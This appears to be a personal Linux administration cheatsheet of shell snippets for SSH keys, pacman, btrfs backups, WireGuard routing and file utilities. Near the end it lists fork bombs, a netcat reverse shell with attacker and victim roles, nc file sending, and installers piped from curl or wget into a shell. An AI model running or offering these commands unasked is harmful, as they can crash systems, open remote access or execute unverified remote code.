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cheatsheet

  • Ctrl+Alt+Delete to force systemd shutdown
  • Alt+PrtSc h to print SysRq help to dmesg

ssh

add git key

ssh-keygen -t ed25519 -C "example@gmail.com"
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519
cat ~/.ssh/id_ed25519.pub

https://github.com/settings/keys

generate and upload SSH

key_file=~/.ssh/filename
ssh-keygen -t ed25519 -f $key_file  # -P "password" -C "comment"
ssh-copy-id -i $key_file.pub user@host
# or mkdir -p ~/.ssh/ && editor ~/.ssh/authorized_keys

package managers

apt

# show installed https://askubuntu.com/q/2389
apt-mark showmanual
# or better
zgrep 'Commandline: apt' /var/log/apt/history.log /var/log/apt/history.log.*.gz
# or
zgrep -E "Commandline: apt(|-get)" /var/log/apt/history.log*

pacman

Update old enough arch

sudo pacman --noconfirm --needed --color always -Sy archlinux-keyring
sudo pacman --noconfirm --needed --color always -Syu
# sudo pacman --needed --color always -Syu

tune parallel downloads

sudo sed -i 's/^#ParallelDownloads = [0-9]\+/ParallelDownloads = 7/' /etc/pacman.conf
revert
sudo sed -i 's/^ParallelDownloads = [0-9]\+/#ParallelDownloads = 7/' /etc/pacman.conf

AUR

sudo pacman --noconfirm --needed --color always -S git base-devel && git clone https://aur.archlinux.org/yay-bin.git && cd yay-bin && makepkg -si --noconfirm && cd - && rm -rf yay-bin

mirrors choose

sudo yay -S --color always rate-mirrors-bin
export TMPFILE="$(mktemp)"; \
    sudo true; \
    rate-mirrors --save=$TMPFILE arch --max-delay=43200 \
      && sudo mv /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist-backup \
      && sudo mv $TMPFILE /etc/pacman.d/mirrorlist

dnf

clean

sudo dnf clean all

rust

rustup

TODO
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# or proto install rust

software

cargo install cargo-update
cargo install-update -a

btrfs

sudo btrfs fi usage /

sudo btrfs balance start --full-balance --bg /
sudo btrfs balance status /

sudo btrfs scrub start /
sudo btrfs scrub status /

sudo mkdir -p /btrfs_tmp && sudo mount /dev/disk/by-uuid/afb30336-18f3-4359-bebb-39c51e8f7b45 /btrfs_tmp
BACKUP_DATE=$(date +%Y-%m-%d)
sudo btrfs subvolume snapshot -r /btrfs_tmp/@persistent "/btrfs_tmp/@persistent-backup-$BACKUP_DATE"
sudo btrfs send "/btrfs_tmp/@persistent-backup-$BACKUP_DATE" | zstd | pv | ssh admin "cat > /tank/storage/backups/hosts/desktops/ROG14/@persistent-backup-$BACKUP_DATE.btrfs.zst"
#? delete previous with
# sudo btrfs subvolume delete /btrfs_tmp/...

wireguard

exclude private ips from routing through wg tunnel

[Interface]
PostUp = DEFRT=$(ip route show default | cut -d ' ' -f 2-); for NET in 192.168.0.0/16 169.254.0.0/16 172.16.0.0/12 100.64.0.0/10 10.0.0.0/8; do ip route add $NET $DEFRT protocol 127; done
PreDown = ip route flush protocol 127
#! Also allow your DNS in AllowedPeers with /32 it its in wg network

or one of the cool ways to do that

PostUp =  awg set %i fwmark 51820
PostUp =  ip -4 rule add not fwmark 51820 table 51820
PostUp =  ip -4 rule add table main suppress_prefixlength 0
PreDown = ip -4 rule del not fwmark 51820 table 51820
PreDown = ip -4 rule del table main suppress_prefixlength 0
PostUp =  ip -6 rule add not fwmark 51820 table 51820
PostUp =  ip -6 rule add table main suppress_prefixlength 0
PreDown = ip -6 rule del not fwmark 51820 table 51820
PreDown = ip -6 rule del table main suppress_prefixlength 0

distrobox

# astra linux
distrobox create --name astra --image registry.astralinux.ru/astra/ubi18:latest

partitions

  • sudo cfdisk /dev/...
    • sudo parted
  • nix shell nixpkgs#ntfsprogs-plus --command sudo ntfsck /dev/nvme0n1p3 --repair-auto

commands

drop ram caches

sync && sudo sysctl vm/drop_caches=3

download "whole" site (alt)

# set recursion depth manually
wget -r -k -l 7 -p -E -nc http://site.com/
# OR automatic
wget -mpEk http://site.com/

check size of files at folder

# current folder
du . -hcd 1 | sort -hr
# current folder with files (use apparent sizes, rather than disk usage)
du . -hacd 1 --apparent-size | sort -hr
# all files in that folder recursively
du . -ha | sort -hr

grep search in dir recursively

TODO add find or strings example

grep -rnw 'dir/' -e 'search'

dos2unix4folder

find . -type f -print0 | xargs -0 dos2unix -ic0 | xargs -0 dos2unix -b
# or for git repos
git ls-files | xargs dos2unix -ic0 | xargs dos2unix -b

bleachbit clear

sudo bleachbit --list | grep -E "[a-z0-9_\-]+\.[a-z0-9_\-]+" | grep -v system.free_disk_space | xargs sudo bleachbit --clean

clean running docker containers logs (also there is logs rotating config TODO)

sudo sh -c "truncate -s 0 /var/lib/docker/containers/*/*-json.log"

show motd

run-parts /etc/update-motd.d

kill died terminals

unknown source

ps aux | grep sshd | grep "\w*@pts/.*" | awk {'print $2'} | xargs kill -9

cron based autoclean

sudo crontab -e
# ---
0 0 * * * sh -c "truncate -s 0 /var/lib/docker/containers/*/*-json.log"
0 0 * * * bleachbit --list | grep -E "[a-z0-9_\-]+\.[a-z0-9_\-]+" | xargs bleachbit --clean

linux fork bombs

# spams function calls
:(){ :|:& };:
# redirect yes output to "no" file
yes > no

Ping whole subnet

subnet='192.168.1'; for i in {0..255}; do timeout 0.5 ping -c1 $subnet.$i; done

send nc/netcat/croc etc

  • use GNU or OpenBSD version of nc (not libressl)
  • nc reverse shell
    • attacker listens nc -vlp SERVER_PORT 2>&1 | tee -a console.log
    • victim sends nc SERVER_IP SERVER_PORT -e /bin/sh
  • nc send file
    • cat FILE_NAME | netcat SERVER_IP SERVER_PORT
    • nc -l -p SERVER_PORT -q 1 > FILE_NAME < /dev/null
  • croc
    • curl https://getcroc.schollz.com | bash
      • alt with wget -O- https://getcroc.schollz.com | bash
      • if install is failed, use unpacked binary from /tmp/ folder (it is not deleted after failed install)

test mounted disk speed

dd if=/dev/zero of=./disk-speed-test-$(date +%Y-%m-%d'_'%H_%M_%S).img bs=100M count=10 conv=fdatasync status=progress

localepreview

localepreview () {
  locale -a | grep utf8 | while read locale; do
    printf "%20s: " $locale
    LC_ALL="$locale" date +%x\ %X\ %c
  done
}

check file handlers and etc

command=<command to check>
strace --trace=file --string-limit=200 \
$(command) 2> ~/strace-$(date +%Y-%m-%d'_'%H_%M_%S).log

strace --trace=openat --attach <PID>

sudo fatrace . 2>&1 | grep <process or folder name>

check file changes in folder

# modify,attrib,close_write,move,create,delete
inotifywait --event modify,create,delete,move --monitor --recursive ~/
inotifywait --event modify,create,delete,move --monitor --recursive ~/ @/home/$USER/{.config/Code,.mozilla/firefox,.cache/mozilla} @/home/$USER/.local/share/AyuGramDesktop

remove empty directories

find . -type d -empty -delete